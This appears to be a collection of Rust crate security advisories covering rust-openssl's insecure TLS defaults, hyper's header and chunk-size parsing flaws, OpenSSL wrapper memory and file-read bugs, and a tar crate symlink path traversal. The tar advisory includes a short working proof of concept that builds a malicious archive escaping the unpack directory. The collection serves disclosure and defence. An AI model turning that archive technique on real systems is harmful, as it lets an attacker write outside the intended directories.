All versions of rust-openssl prior to 0.9.0 contained numerous insecure defaults including off-by-default certificate verification and no API to perform hostname verification.

Unless configured correctly by a developer, these defaults could allow an attacker to perform man-in-the-middle attacks.

The problem was addressed in newer versions by enabling certificate verification by default and exposing APIs to perform hostname verification. Use the SslConnector and SslAcceptor types to take advantage of these new features (as opposed to the lower-level SslContext type).

hyper's HTTP header parser accepted, according to RFC 7230, illegal contents inside Content-Length headers. Due to this, upstream HTTP proxies that ignore the header may still forward them along if it chooses to ignore the error.

To be vulnerable, hyper must be used as an HTTP/1 server and using an HTTP proxy upstream that ignores the header's contents but still forwards it. Due to all the factors that must line up, an attack exploiting this vulnerability is unlikely.

When decoding chunk sizes that are too large, hyper's code would encounter an integer overflow. Depending on the situation, this could lead to data loss from an incorrect total size, or in rarer cases, a request smuggling attack.

To be vulnerable, you must be using hyper for any HTTP/1 purpose, including as a client or server, and consumers must send requests or responses that specify a chunk size greater than 18 exabytes. For a possible request smuggling attack to be possible, any upstream proxies must accept a chunk size greater than 64 bits.

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!

OpenSSL has a modified bit that it can set on on X509_NAME objects. If this bit is set then the object is not thread-safe even when it appears the code is not modifying the value.

Thanks to David Benjamin (Google) for reporting this issue.

SubjectAlternativeName and ExtendedKeyUsage arguments were parsed using the OpenSSL function X509V3_EXT_nconf. This function parses all input using an OpenSSL mini-language which can perform arbitrary file reads.

Thanks to David Benjamin (Google) for reporting this issue.

These functions would crash when the context argument was None with certain extension types.

Thanks to David Benjamin (Google) for reporting this issue.

When this function was passed an empty string, openssl would attempt to call strlen on it, reading arbitrary memory until it reached a NUL byte.